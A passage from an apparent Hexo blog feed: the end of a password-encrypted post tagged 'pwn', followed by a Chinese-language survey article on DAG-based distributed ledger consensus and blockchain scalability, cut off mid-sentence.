<content type="html"><![CDATA[<div id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look."> <div class="hbe-input-container"> <input type="password" id="hbePass" placeholder="" /> <label for="hbePass">Hey, password is required here.</label> <div class="bottom-line"></div> </div> <script id="hbeData" type="hbeData" data-hmacdigest="07ad701e79bf15a704a0f169e29e5d2e1a27516a11a293833481c76eccf2fde5">d06ad5fb314734be3151edf1dc565fe8c0a8f5070588ff3feaf045b08703cba42bf183c57e4bc9db2f0d528d25a9ca242f39bcd3d254c2f95548b885376bbca48019def353375f2d70c6711bffbf02da881614d4f21b903717f45fcffa876d59c911075b489e0f070ffa6b3feb8dec5a0a743d60b38898ace1eab8dc6265db7e86c2c07ee04778cfccd01b4fb9e7985d70f4a13c8a18688e443fbbe01f12626f721846d78df90fca46a586104a1b913a60ec97bb3c5bd28fe709a8373d31ab3b1cc1f695e4dec3dffed94adb17be0474bda050e4bb01fa4d758cdf7442b6d1b97df9ff29502af918d53a6437948864232b5e96e3ee9d403b54fc662d8ab67799dfe109c129cf227ed645b1cc0e0011df570301e524307290ba5ff9cc2f716465ea61d80499508f8170d0ccba35513ffb0ce695412c69b3a58fe1eefd9994b5b02e8bca6f7ca82af01bf13b0915aff873a526b5c83aa73acf9cda193a73c6e52b7ba1f0fa0d61fb53e99dd0448314f4ca463885cc734151f964c39af9fe44ba306cbbd4f5b3d362fbdec9ee7e90d8c3ab5230dc6eb3a9729a367808388660d28a3e9b39a21856c5fb62b60f1a92924d5e82f13399a2a0a78f641661eda55193b6c0a6c99ed71878f4af9db292041d5c8ef9a31258c1876305a423c6d323ec0be8fd6e660d62ad3fe7711eeb13de4076e193660d5078417a1f2d7c9f458eddc048fa257d99b630b1a25454086df6f6ebdaba3e4b76c8bed1530624ff166394b3c13faf78656515d32a194a38ec68686ab820bddf4a5530ccce2b42f7dbed369cf97d78f05ee788394631cb711169e433eca04d123c336e33efcad7d20405cc91ceb4fdd9270a68a4f8cea84e4acc4a002056fa7ceaeb6f64495aa32af96286b04ef01aa2f85a6115933840cf85d1e8123c45092b762cac175d896ccc8cac0a43d2a5f62cb8ebd09528de3e5ce96963d18126653f77a33ef778c39082eb48ccd9c2e264ddd1356743e1676f7273b81d56184053bdca0ddc9ed509ff3ca23a87d3d60c477bb0f9f239478d69e15f880c68c382cf6259a296f7f562aca16854d5404e508652929fc74d40a8a16479a6eacbcfc76d5b74d0f29748d2b1e22df8a4f4f8efb7d4d6be94593d3d629a69c1a59e536e6619a61fe0a8818d5027849fc746b417290f65d8577fe03166d861e2d9ec611f02cc72baff3dcf20687544246bbbe78d417c14ae0e783d21983268429b9de0d7484f289314c6b430fa7ba339a76c5dc0fce1dd72d5933e1d69603c881747a4b30ff627b5ae40a17a97f49a69fcfb01f96ae6aad5cfa5950038902cec86cd8db792ae31c761066f20d93c47c81c5eae3597026d03661d2a5a3867d1ea7bb03c27b510ef0eece4b7e81c18f3ca87c453ef2f128b6625183dfbd085c98e9c579ea8eb5b3a4e6b5f307a54116422a7dfea4e44e0fa91e363792f1c16c32c1ba87e9b8dd045696a2cea82335454c1074f8eebde8a9d7628f0c5d49f6bed5d727b368d02930c7f32c836611a9446aeb271f753bdcd443dd9385b9b7bf4f9c0b4d8494ebff293c3bdba9e6a7d5e3b248632035e0fecb43848153a2478447f4cafb7abf90212624e01db001e39eee92ee0a9085365c47197dbfb28469d196d7f8862349abdc804381776e416aa2bc37eb5348a645578f3c2d001475b104b40aa2a1372f9aef0eca2d4e91b445b71d1309d6325e5a477fb78b563502bb4b775082e0cd7e3551211930ed3d59b1ff73da280436f2ea13a27b08a2f18477f59c6725a89356f622f3c012d30e5002b4660d9efb3fa58fbc18f881ebf0eff8ecd609273d706b2c008c5f99df0007befd9d100dd1bd78ce098f6478a4f25a2ea73bcff50ab7223fc136d72ec30397ae3bbba88f38a7177e77b20ba9b49375cfb92d7734b3ed2eac48b9a847823343a469e9be91d062f7b821d2bce5c85a233a0ecb8339df75652925b99af43c0e2121db41f515e27b48f8baa0e15457939562fb8f21c972dd97b72aaabbba38820eb68e58b37a85db0da87719dd0c3f0f62d50235290adba397cf209fce9099a108c3943517e6da1e8c4c0788cced199319069bdbeb45b8add5b33d496ac38abd0d52b65bcaf6c20d165e89515e9273aa35cc3e828adb7776b8e6ec0591c9d0b4f2401324d187b9476e42064114a34950d859feab8cc495c92f17c8d8bb7461baebad8ce3e4f8c1e208c7e3973e8612dc5039d922326959b29530ed9d4d7fb38111efc43e57e62bcb8a7d09cb901d59f215efa44ff582bc9f3614040ac5cb75defe4a2b6097ca4daf89c1e8657f3497154084cf9b8d1c94e265ee6606583a68e5fe30a4b8c56902b8f9e4386d0987f0f874455dc1e97995212572efb73af4955ea0255234b181ad68ddc6a1e57ca0c1c8dad5270c7dabad294185f64570801b12b106a84180ea2e1dcc50ecc0a84746c41269ca624aa5f2b42ae7aade8a5f9ccd2594c702a50fefb29c6fc3293afc5dd4a2596efdabcb382f2b52f99d237d8baa22b4a6fb2c3e00ea0ffc4ba7261247183e9d2762d88ce7638e78fb577cc4c59d0c83fc1f005ab9ef5e9f62aa0b7dc2590e23af14558aeb52cf7d1b3ab249387951a7a6c8ec4cbc5aff4511c4cb41a98a0d9914a5a47859f23b8d1e8cd0e69307417094de8d087ee5af676ea709189d1901c9b0ea909d8c405e196e85afdbbcaa97d47db00e3a2834e14855e11b58f06938d539893333408a1004d14053412039dd3c143856c30b24fdf95351f38f285950d492efd9999b3dab4cb932757c44bddd005be235ae024a4e45468cbfb75b9c013e0e65efd168ef45abc30ff599016c096d7cfdc18b9618d38aad677707dd7875a5ef1a479c84f6f1d459ab88fce1bb1540ac644a67c4f6ac07785a1e223f6e3636e15c1e69e0555f9c99c0db8c37a05b6b7390329c7557f0f2273deaec07bc6dfb56b83dd572bd6f651362a053494a115003377342ea33b40d87befae5fb585535d6fe3295186c1d9b8b8fe45576b2be2029bae1e6c9cc84d05259db8251a439e932015b650767f40fd4d582fb3e20fe44aec8eb1db9001c649a6ff5dbafe5e2147863ebcee57fab55be7ea4b9fd374e8062931f5396d8f74794fe6910acdad85d9271e3133530698684c9c01c780eb88f26d3b306fef04f325201960d8abafc7c098de9e715af4c401e4bd6ddeaf2aacd6af555289ceeb3ac2f45e91d7dd27337bad257389519e2be0b489211fdaf98deb2a6bf10ffb242a6b606ad5fa5467a2aea12b2fb5e2fc77933112af5fbcdb54e93ea1c45e812f9f8f50974ac7d9e6ad4b270268b1b655af0ac5d55253ee74c5681ccfda9d1738217da4a24b1f23a0753a4f851562a8d02f5bc8a022e2dc78094063e2b4cb8e41aceee5956e4fab90106ffc8a0b4d92d534cbf0b516652afd60619bf9c06f10485354f2ea9cd345b2f0639f8a09cfd2d0ac9c2d724816d5953a3f0096498a3a6dad0d332c1f63c0213cf0714304d93fdb74387592353a1fd782806b565cb4c18367986428e6262fb52be9fd4f3097af21aa6289765572c3887ca2b484284c7dfbc79a1e40b251e37da3ec6e75813201a8dc994a586ebe21205c480b622a132bb559f03727add5e7e7e58efc3b82214a79a29fc9ac26a94ee689bc8a7726a48e31f510954adaec31e70fb530ad07cd5c700cec63692dd45a072ff225d856e185b271421aa725ee887e50de9ab95ea1c766d64da70fe208348f36f0180cb2b48a420ee31a6590ae57ccde87f5b166d5925e064a4eff7324328983574032636e0a117059f32032fb21eb70c7ff94e5d2e5e1be6c415da1aefb12fdeb82754986fbf54afcf623829e451c6c08eecb4e83fcc3562a36db296224694f4968263716e084f903768173eb1d0941da9ebdf81781a4b65bf3a15d1f82b7f4229bd53e6684a08c9901d72bc005b4e41ff77e1e54506e712779f19e8efc9424d1041af2da24e00a4106e9951355b0934a5b386f359f85e7bcd5c0f2548564e5300ed7ba21d8844a67ac6282c6ac8cdd9a89b1ed4586ad700026aa2730e3d5e077fd3551b08e0a6e3c585352ed2426405cbcffbc3f8880c55692b67e99edbecd562d993e21225df8920946d0d321038c63dbe2e9478f535ee8168abfbe1dc9e364e79fe51a6d5d5b8b583008760d8fcb4736f14bcadf069866722afec3e2087b5c9406df9be20b20cf3e26dce962c76856032851b8d8c7d3d5b095f11440367133c4d8f3cedeb088f1cde7911e7c0bbd6633f2892479f6b91684d69fc6acf324239f4b0dc8b91404fcd159e512331040c5236c27a6062431fec6752f58237531abde8d0b7db5c9cdc5401962c6d68b62fd8a0ce816fcb38fba125cd7c5a57aff39c0ac8074ebbe3bec13086b816bae35c8c4bfcf4212e4e718312b809fa1825e2d348b7fb5614bb8b7d3c2fc6110a8dcc4795c4412aa0a157e23ebfaa8d8a7ded1fa7fcd5ff85923877602032c4e9dfac202961a6c8a316bebea209bab6eee5c0092ee591675fe9843b00517ae4709ed226c7407aa900cdaef46e2315095bd0eea0c260f42979de7f8a341f09b4fa3a0771db2e2a362383f8402dabf620449f8e11d4e6e1407f2e703b518d59fb7fbca7f8722a1f9dec175c92bec118347b75c06ccc4dea56de9dea0183648ee758debf73e8055a8041cd8609b35b41325bc76ed27a0fa6f88a3ac75eaf8eaf9f00705e0d752ffdae459b3ca04f83eed439d5388b7a55126a4bcf17b7b172295d16a14735db6afd3df3501eaf4f814e90391cb487c201598ba6520b52bc7466b0b50560c33656d73e4a778d804ae663e62def9c3345add1d26ddb699d8b96e713fabe601510ef02e52d99f80ac2e143ad7310007731a6c1dff8f60691e5ea7a2a45582d3d65c4265b6594e87be644c773c81c41c383c726efa9b2565ab9061c31ff738f97149b104ac577b05850fffb5e90cc21e55573d7ed0f7f78b3fe1589bd2dff9f35fd99b0e08d422b0e2a65690d952fb8deaabcbb61ba0aa872d5ee36692483ae3d2a89ac9d7587419a8adbd30a10ecc7574d1cbd10c00a722fbfa54718aad745808a7581a5480b7a8493f9d5aafeb8d7c030484e36867af2da4be6fe1a2fbab78c01063094d910b595b494bf67306200c799c5f4da57fafe3324acaf59c7a060b33f5c5afc5b38f6a35d9d8e85e12778df4bda6a17c0609bc8cecdda438d8db79bd4768602f37a7903cbf2c99489a2eed2a91e83d44249aea0a5c80b4a5ec9bb30f3874bfb339eb0ccf0e142015c4ff7e7cfe89040eb5155515b6846d638f10fcd01758ba17220c519814bcb7914867b98a992796c7b051043f0a9e9820878841b7705fe85bf297a1da41e99083008ab6b4c9272954d425f9e459231e19cf16783ba5b3dd31f28ade4c341150d6398ab208530536ef60538414fe49faac6ad8984bbb64ae9093129e34535a9d4c7cfd49b0c3ea8cd2f4556d28fe7d201b2f9e9f31b7eb71d23c8a1fcd19dd4f00a7e89aa14feaee5ed9618328fb92934fff869c2394066440ee9aa9ba02d8e1496dfbe3f0f7d8f2ce8105cadadd76080ac32410e112ac4676789ac2bf87dec4a86a4f2c466ea351ec919c5f880a55b226aab2a244d619cbbc9659bfef56616fb131facad0ee5f0423de4638c46dd18f35d7b890fd485df4ed8a011e959d32fff41afa1747c173b5169ade80b813a9e9b40658036bc13179218d740ae61fffffc5e204b9492843c859b1961ab155933ab772be7a01befe6ae5f60300bf7bc232d0f3a90c29e00f1042137b03ce214cea9d6b2c3b6f5a34b9d979259e4a8744ec518399e248d67967ee5a147577746b970429cb618d92acaa46b6747c6e7583d5f5f5b726db43de8368834f4b90e968523687b9c6c79567c7dd1a541fc5b99f4992c0c4e2a164dadeb23d90dfb1233b1b000f4fff0ffed85d755988e1597cbfad6e940b05311510be309e70a99f15c8ad9f5431a7056d8b6583eef51c3a1c0205d478cde927d0de358848e0b1d9917c1e48b5df471612dbe262e47be2be0375f1f1cdda6541e69bc8eb1f160b227bc54deb6f96a42ecf51a8fbe34a439fb35e354c36d52184d11719f65e133d77c750bb6ac06150ee2d6a9dd118b2911b22b2765b78360efde1280782ef99b0282b8013041642dccda21c1902f1c928122776ef39b2f460bc57c0384b7b811c129ee9fe0a9d45dda01a158421c8e5f7feb5d3fe793d3c14623d9925f860cbc3b763153c7926460d27374293becd96bc1ed11ff41edcc869582ca8ec5d04e9cace7b09970f3828d1ab9d49b40b23daeaaee5faca74b01e19cb6b673b6dd5d40fdbec7189678c8f06fa97892b00e3933ccfc77c541995af5d03abc8b997c4fe8c6238c259cf23fe9c6a7bdae245277cca6a5babe0c854af3f1b5f1e8128020bed9d0ed3bcba8e59c232d748c3e1167b6b5afbfad2bea0d6ac123d33392fd71eae5b1fcb3369ff69852017986979fce6f6ce816259861a265c9a875b4c214057dce9eb3c472062520ccac7074df96c74e58bb0aa7e4c06b0e159d7140bb018a062609165723f631cd15ec215de41854f51cab279986112c920e64fa14532de9db160dd5d5fcd5275092ef278850918bc45d701c3dd1ac127b6d8dc6833f1d7651367267bb29a1eb78070cb6512a2b50f0d3582b35a81b36abf2a2fc87b26d46a346ec22e928eadfea7b5181cae6b856e13c5935df3328008b368ef717dd788e0283c5568b931392a7deb7852aeceddf23a95fac26d13ebd5467f164d0830ae51bb391d7e4a01855c0e701eb158952e9ed8702e7d886bf1f31faa033c739f91e1a495fcffd7c8032ff8c0497fd858ab375f49fab7fe9f56583fd25c10e420f303442ab7ca1e09b521ce5f7e56a6864e42290a22f1edbfb78d15b21d8005aaf02db7b29be845b6ddf9913d5318e8348ec61bc35edeee558bfd9603e235d3bd03fc9269d3b95ffd5fb96a8639e26f95f21ff851bf4fec922c02ef95e37cfd6426ed9e2cd17760f41eff6c0f3dbe38ae411c0c606a6c21c9d6a2b07daab617c9b2b4a2e8ad7cc29626804d2117effb80e78e6ba19e236f7a23bf7f70a301b85975948b46261d4e8a409e3e50cfd4e49b06fb2f580e5556addfafeaa88a0b1abfa40926ab823bcd4dd6a8e4f4e6f8ae79fa7dfe0c9aefd52934423db898cf3775279e9272797a38329360c0336e0ee31d5cf4c6a3d87fa2d51fea07284d4d4fb809ed745c778d5d84269fc975a18ff86fe6394545d96c61c269e7e3aea0a74a8caad373c46fcfd4848adcdbf9ea4ef55551350040e646cd368c10e2e8f245d610db5f6114a832d9f20db85edb5406803ce7b31332f3db8e588bee6b46b892fbb91f7c1cce6c6f9fedbe37eda0f8b5bd04f25a42010fdb92066aaa412926a397cafeedab5f191f4a85070ce4f70bd74e9d803e7cbd865fd6c73e2b3e9e6cda6a1aae09768b3ed6b8e7611ebebd8f7fb5eb588e54cdf123421a9dedd8d0eefe8ede3756593ba694e4b7400f42c144e21d1406fa431511e62a79e5747f184f27f035ea2d775d1494247f0d9fce6b58cb81e57983ae6a68956bead8f48d60b955e4e7e43d71486428c8d835261bea351c9567ffebb258bbeac5febecfb3436ceb3ec71126d1723969598a38f35ab730d265e3e0ed36ec41433acd6a4c872f2576fde2dc2e9fccd1456d6ce5c601be803a7a37ab24ef5446d8bed95b31195af93e5dea22e29b37660be6bb56f5c4e81e428ac21a3cb5e6d33096a4fa5568e68c34dcc9b156ef184575fa5dd835c3509bfda6689692517e026fca8d89551fde31c163f3d3c00fdc4ede020dbb38349828569cc349a9dbcd251a273609bb7292b8acc72725322e6ac13cc753f72e8fbcfdd3423cd4da740940bcabd40dfbdd70f279cc9c41e1f4c050b1e5fe6e755fc3dd9b80c83f4e9738c695d1fca21103400633a9b8e8aec1a003d1e55bc74395bebf96d5f3450c5dbee97fee36593e31a8afd689de3217d694b6a7d2bc1ce7a6c29ef491bea10f3a7be509684b3115d4021e8678eabb18ced1723f90d57bcff6f6aa3fcc16f8bd283154e59224de406e7b765d6e7c41</script></div><script src="/lib/blog-encrypt.js"></script><link href="/css/blog-encrypt.css" rel="stylesheet" type="text/css">]]></content>
<categories>
<category> 感悟 </category>
<category> pwn </category>
</categories>
</entry>
<entry>
<title>DAG consensus</title>
<link href="/2020/05/25/dag-consensus/"/>
<url>/2020/05/25/dag-consensus/</url>
<content type="html"><![CDATA[<h2 id="摘要"><a href="#摘要" class="headerlink" title="摘要"></a>摘要</h2><p>自2008年比特币出现以来,研究学者相继提出了多种分布式账本技术,其中,区块链是当前分布式账本最主要的实现形式之一。但当前区块链中存在一个核心问题:可扩展性瓶颈。具体而言,区块链的吞吐量严重不足,且其交易确认也较为缓慢,这些因素极大地限制了它的实际应用。在此背景下,基于DAG(有向无环图)的分布式账本因其具有高并发特性,有望突破传统区块链中的性能瓶颈,从而收到了学术界和产业界越来越多的关注和研究。在基于DAG的分布式账本中,最为核心和关键的技术是其共识机制,为此,对该关键技术进行了系统深入的研究。首次从共识形态出发将现有基于DAG的分布式账本分为以下 3 类:<strong>基于主干链的DAG账本;基于平行链的DAG账本;基于朴素 DAG 的账本。</strong>在此基础上,对不同类型的共识机制本质原理及特性进行了深入阐述,并从不同层面对它们进行了详细的对比分析.最后,指出基于DAG的共识机制研究中存在的问题与挑战,并给出进一步的研究方向。</p><hr><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>2008 年,中本聪提出了比特币[1],首次实现了在开放的 P2P 网络下不依赖于任何可信第三方的电子现金系统。比特币本质上是由多个参与方共同维护、通过全网共识和密码学机制来保护用户资金安全的分布式账本(distributed ledger)。与传统账本技术相比,分布式账本摆脱了对单一可信第三方的依赖,具有去中心化、不可篡改、可编程等特点,这使得它在数字支付、可信数据管理、信息安全、供应链等领域拥有广阔的应用前景,受到学术界与产业界的广泛关注。</p><p>作为比特币的核心技术,区块链是当前分布式账本最主要的实现方式之一。区块链技术提供了开放网络下新的信任模型,使得系统参与方能够在去中心化条件下达成信任。但同时,去中心化的代价之一是区块链的可扩展性瓶颈,最突出的表现是<strong>系统吞吐量不足</strong>。以比特币为例,当前系统最大交易的处理速率仅为 7 笔/s,并且每笔交易需要 6 个区块确认,即至少需要 1h。相比之下,主流支付工具,如 Visa,平均每秒能处理 2 000 笔交易,峰值处理能力为56 000笔/s,且能够实现单笔交易秒级确认。这种巨大的性能差异使得当前区块链不足以支持现代商业活动,限制了其大规模应用。</p><p>区块链的性能瓶颈主要是由其共识机制导致的。与传统账本中由一个中心化的机构来处理所有交易、用户无条件信任它的处理结果不同的是,区块链中需要全网节点对系统中的每一笔交易达成共识。在当前区块链的共识机制中,无论是工作量证明机制(proof of work,简称 PoW)还是权益证明机制(proof of stake,简称 PoS)等,本质上都是全网节点竞争记账权,每轮中成功获取记账权的节点以区块的形式确认交易。这种共识机制极大地限制了区块链系统的吞吐量。</p><p>直观上看,提升区块链系统的吞吐量最简单的方法是增加区块大小或降低区块的产生间隔,但Croman等人指出,只通过这些参数层面的调整不能从根本上解决这一问题,需要进行协议架构的重新设计。当前,提升区块链性能的主要方案有以下几类:(1) 链下支付技术,通过创建链下支付通道,使用户之间的小额高频支付在链下完成,从而间接地提高系统吞吐量;(2) Bitcoin-NG等协议,将比特币中记账权选举和交易验证及排序进行分拆,通过关键区块选举记账节点,在两轮记账权选举区间以多个微区块进行交易验证及排序,从而提高链上处理能力;(3) 分片技术,通过将全网节点划分为多个集合(shard),每个集合单独运行共识协议进行交易共识,从而提升系统吞吐量;(4) 基于有向无环图(directed acyclic graph,简称 DAG)的分布式账本技术,将账本形式从区块链的单链形态转变为有向无环图的形态,避免了单链中存在的串行化写入的限制,从而使得账本具有支持高并发的特性。</p><p>在上述方案中,由于 DAG 的高并发特性,使得基于 DAG 的分布式账本技术成为解决区块链可扩展性问题最具前景的研究方向,并得到了学术界和产业界越来越多的关注和重视.事实上,在以比特币为代表的区块链中,除创世区块外,每个区块有且只有一个前驱父区块和后继子区块,区块之间构成单链.如果两个区块被同时提议,将导致区块链出现分叉,根据最长链原则,最终只会保留一个区块在主链上,而另一个被丢弃.<strong>但在基于DAG的分布式账本中,每个账本的基本单元可以引用一至多个前驱单元,且可以被一个或多个后继单元同时引用.</strong>这种结构上的差别,使得针对区块链的账本操作只能够以串行化的方式进行(同时添加区块将导致冲突),而针对基于 DAG 的账本操作支持并发进行,多个节点可以同时向账本中新增交易或区块单元,从而极大地提高了系统吞吐量.</p><p>然而,当前还缺乏针对基于 DAG 的分布式账本技术系统化的研究,这将极大地影响对已有基于 DAG 的分布式账本技术可行性、安全性等方面的理解与分析评估,从而限制了相关领域进一步的研究工作与应用推广.为此,本文将对现有基于 DAG 的分布式账本中的核心技术——共识机制进行深入的研究和对比分析.首先,通过深入分析现有基于 DAG的分布式账本共识机制的本质思想与特点,我们将其分为以下 3 类:<strong>(1) 基于主干链的DAG共识协议;(2) 基于平行链的DAG共识协议;(3) 基于朴素DAG的共识协议</strong>.其次,我们分别从<strong>共识形态</strong>和<strong>数据组织方式</strong>两个层面对基于 DAG 的共识机制进行详细的分析和评估.最后,我们从安全性、可扩展性以及对智能合约支持等方面对现有方案进行对比和讨论,指出当前研究仍存在的问题,并提出进一步的研究方向.</p><p>本文第 1 节概述共识机制的发展以及区块链可扩展性问题的研究进展,并对基于 DAG 的分布式账本进行介绍.第 2 节对现有基于 DAG 的主流共识协议的本质原理与特性进行阐述.第 3 节从不同层面对基于 DAG 的共识机制特性进行对比分析.第 4 节指出现有基于 DAG的共识研究中仍存在的问题与挑战.第 5 节对全文进行总结,并对基于 DAG 的分布式账本未来的发展方向做出展望.</p><hr><h2 id="1-背景介绍"><a href="#1-背景介绍" class="headerlink" title="1.背景介绍"></a>1.背景介绍</h2><p>共识机制的发展经历了从传统的、准入环境下的分布式系统共识机制到适用于区块链的、开放的分布式系统共识机制的演变.近年来,基于 DAG 的分布式账本共识机制由于其高并发特性受到了极大关注.本节首先对经典共识机制进行概述,之后介绍区块链共识机制及其可扩展性研究,最后对基于DAG的分布式账本技术进行阐述.</p><h3 id="1-1-经典共识机制"><a href="#1-1-经典共识机制" class="headerlink" title="1.1 经典共识机制"></a>1.1 经典共识机制</h3><p>20 世纪 70 年代,随着分布式数据库和事务处理的兴起,分布式系统节点的一致性得到重视和研究.1978年,IBM实验室的Gray提出两阶段提交协议,用于保证分布式系统中多个节点之间事务处理的原子性.在此协议下,任一事务 T要么在所有节点提交,要么在所有节点终止,即保证一致性.但该协议在协调节点发生故障时会导致阻塞,为此,Skeen提出了三阶段提交协议,以解决特定情况下的阻塞问题.但是,这两个协议均不能很好地应对节点故障的异常情形.</p><p>为保证在多个节点故障的情况下系统节点仍能达成一致,产生了分布式系统共识算法的需求.具体共识机制的设计需要考虑两个重要因素:<strong>节点故障模型(failure model)和网络通信模型(communication model)</strong>.节点故障模型分为两类:<strong>崩溃故障和拜占庭故障</strong>.崩溃故障下,节点服务进程停止响应,不再接收或转发消息;而拜占庭故障中,故障节点可以有任意行为,如不发送消息或向不同节点发送不同且错误的消息等.网络通信模型分为4 种:同步、弱同步、最终同步和完全异步网络.同步网络下,存在明确的时延上界$\triangle$,以保证消息能够在该时延内送达其他节点;弱同步网络下存在时延上界 ,$\triangle$但此 $\triangle$协议参与者未知;最终同步网络能够保证消息的最终可达性,但不存在时延上界 $\triangle$;完全异步网络不保证消息可达性.</p><p>针对节点崩溃故障,经典的共识算法为 Lamport 提出的 Paxos 算法,随后由它衍生出许多变种,以适应不同应用场景,如 Raft和 Zab.而针对节点拜占庭故障,最具代表性的研究是它在弱同步网络环境下的共识机制.1999年,Castro等人对 Paxos进行了改进,提出PBFT(practical Byzantine fault tolerance)协议,使其可以应对拜占庭故障.PBFT 协议运行于连续的视图(view)中,每个视图中对应一个主节点,负责对消息进行排序并广播给其他副本节点,它们之间通过三阶段协议进行共识.在这一过程中,如果主节点出现恶意行为或发生故障,副本节点会通过视图切换(view change)更换视图及其对应的主节点,以保证协议继续安全运行.PBFT 协议保证 1/3的容错性,即 n=3f+1,其中,n 为参与节点总数,f为拜占庭节点数量.</p><h3 id="1-2-区块链共识机制与可扩展性"><a href="#1-2-区块链共识机制与可扩展性" class="headerlink" title="1.2 区块链共识机制与可扩展性"></a>1.2 区块链共识机制与可扩展性</h3><p>在经典共识机制中,<strong>节点有准入规则</strong>,往往由管理者决定哪些节点可以参与,并为所有参与节点建立身份.2008 年出现的比特币首次成功地在无准入设定、支持节点动态加入和退出的开放式网络环境下实现共识.</p><p>比特币中,节点通过 <strong>PoW 机制竞争记账权</strong>,成功获取记账权的节点以区块的形式对交易进行组织排序.然后,全网节点对该区块进行共识,并基于此开启新一轮记账权的争夺.<strong>比特币的 PoW 共识机制有效地抵御了女巫攻击和双花攻击</strong>.但是,由于 PoW机制需要消耗巨大的算力,后续出现了多种 Po-X 方案对其进行改进.如以 Ouroboros、Ouroboros Praos、Ouroboros Crypsinous、Snow white以及 PPoS为代表的基于<strong>PoS(proof of stake)的共识机制</strong>,根据参与共识的节点投入的权益多少(主要指系统代币)确定其成为验证者的概率,继而由其产生区块,以此避免 PoW 带来的过多能源消耗;以 PermaCoin和 SpaceMint为代表的<strong>基于PoC(proof of capacity)的共识机制</strong>,以参与节点投入的存储资源大小为依据,概率性地确定记账节点,从而充分利用闲置的硬盘空间,同时规避能源浪费.此外,Sawtooth和REM中引入了PoET(proof of elapsed time)机制,使用可信硬件进行记账权选举.</p><p>各种 Po-X 机制本质上与 PoW 一样,都是全网节点参与记账权竞争的方式.它们在经济环保方面更有优势,但并未改善比特币中存在的交易吞吐量低、系统可扩展性不足的问题.提升区块链性能,目前主流的方案有以下几种.</p><ol><li><strong>链下支付技术</strong>.以闪电网络和雷电网络为代表的链下支付技术,将用户之间的高频小额交易从链上转移到链下进行.用户间首先创建链下支付通道,随后通过该支付通道进行交易,完成资产的双向转移,只有当双方需要关闭该链下支付通道或者一方出现恶意行为(如利用旧的通道状态谋利)时,才需要通过链上交易取回通道资金或通过提交证据交易进行链上仲裁.链下支付技术间接地提高了整个系统的交易吞吐率.</li><li><strong>Bitcoin-NG等协议改进</strong>.与比特币相比,Bitcoin-NG 等协议将记账权的选举和交易确认分成两步进行.首先,节点通过 PoW 机制竞争记账权,该阶段产生包含记账节点信息的关键区块,基于与比特币相同的最长链原则保证安全性.此后,产生该关键区块的节点获得记账权,通过产生微区块来确认交易,直到下一个记账节点产生.该类协议本质上利用两个记账节点产生间隙,由每轮中的记账节点生产多个包含交易的微区块,进行交易确认,从而提高每轮共识中的交易确认数量.</li><li><strong>分片技术</strong>.以 Elsatico、OmniLedger、RapidChain为代表的分片技术,借鉴传统分布式数据库中的分片思想,将全网的节点划分到多个集合,每个集合内通过运行 PBFT 或其他改进的 BFT(Byzantine fault<br>tolerance)协议进行共识,完成交易确认,从而使整个系统的吞吐量随着全网节点数量的增加而近似线性增长.</li><li><strong>基于 DAG 的账本技术</strong>.以 Hashgraph、IOTA、Byteball等为代表的基于 DAG 的账本技术,从账本形态上对区块链进行改造,利用有向无环图结构在支持并发操作上的优势,设计出基于 DAG 的分布式账本.</li></ol><h3 id="1-3-基于DAG的分布式账本"><a href="#1-3-基于DAG的分布式账本" class="headerlink" title="1.3 基于DAG的分布式账本"></a>1.3 基于DAG的分布式账本</h3><p>近年来,基于 DAG 的分布式账本技术被提了出来,并因其在可扩展性上的巨大优势而受到广泛关注.在介绍其特性以及基于 DAG 的共识机制之前,我们先从图论的角度对其加以描述.</p><p>一个有向图 G 包括一个点集 V,一个边集 E.每个点集中的元素在基于交易的 DAG 账本中对应一个交易,而在基于区块的DAG账本中对应一个区块(其中包含交易).边集中的每个元素(u,v)是一个二元组,表示u,v两点之间的偏序关系(称 u“引用”了 v).在不同的共识协议中,这种偏序关系可以有不同的含义,大多数情况下表示 u节点间接确认了 v 节点代表的内容.一个DAG 结构除了满足有向图性质外,还需要满足无环(acyclic)性质,即不存在u<del>1</del>,u<del>2</del>,…,u<del>l</del>满足$\forall$i$\in$[l-1],(u<del>i</del>,u<del>i+1</del>)$\in$E且(u<del>l</del>,u<del>1</del>)$\in$E.如图 1 所示.这种无环性使得DAG账本具有易增难删(append-only)、交易可定全序(total-orderable)的拓扑性质.<br><img src="1-3-1.jpg" alt=""></p><p>一般而言,基于 DAG 的账本对每个节点的出度和入度没有限制(个别账本对每个节点的出入度有一定要求,如 IOTA、Hashgraph 等),如图 1 所示,DAG 视图中的一个节点(即 DAG 账本中的交易单元或包含交易的区块单元)能够同时被多个新加入节点引用,从而在高并发场景下能够天然地支持账本的并发写入操作.此外,新加入的节点可以同时引用多个 DAG 视图中的端节点,以加速整个账本的收敛.而相对应地,在传统单链结构的区块链中,如果有多个区块同时产生并引用相同的前驱区块,则最终只有一个区块能够成为主链区块,其他将被废弃,这使得该类账本不能很好地应对高并发场景.概括而言,传统单链结构的区块链只能实现串行化的账本增加操作,而基于 DAG 的分布式账本因其图结构的天然优势,能够更好地支持各种实际场景下的高并发需求,具有更好的可扩展性.</p><p><img src="1-3-2.jpg" alt=""></p><p>区块链的串行化表现在:同一时刻两个不同的账本增加操作将导致冲突.以比特币为例,如果两个矿工同时提议区块,区块链将出现短暂分叉,产生竞态条件.根据最长链原则,最终只有一个区块会被保留在主链上,而另一个区块被抛弃——取决于网络中延伸哪个分叉的矿工群体最先产生下一个区块.这种串行化带来的直接危害有以下 3 个方面:(1) 每次出现冲突,必然有一个分叉最终失去竞争优势,其区块成为主链外的孤块.这不仅造成产生该区块的矿工算力上的浪费,也使得在竞态条件中选择该分叉的其他网络算力被浪费;(2) 利用区块链分叉,理性矿工可以进行自私挖矿以产生高于自己算力占比的额外收益,更严重地,这种自私挖矿行为会大幅度降低系统安全性;(3) 为了最大程度地避免这种串行化带来的冲突,增加区块大小或减小区块产生间隔这两种直接提升区块链交易吞吐量的方法都存在限制,大区块在网络传播中导致的时延以及高区块产生率都将导致冲突概率增加.总体而言,单链结构的区块链都将受制于由串行化冲突带来的可扩展性瓶颈.</p><p>而图的特性使得基于 DAG 的分布式账本规避了串行化带来的限制,无论是以区块为基本单元的 DAG 账本还是以交易为基本单元的 DAG 账本,都天然地支持并发操作.入度限制的取消使得在高负载网络下,每个新加入的节点都可以同时引用相同的节点而不必担心冲突;出度限制的取消使得每个新节点可以同时引用视图中多个端节点以加速DAG的收敛.因此,基于DAG的分布式账本在可扩展性上具有天然的优势.需要指出的是,这种对并发的支持与 DAG 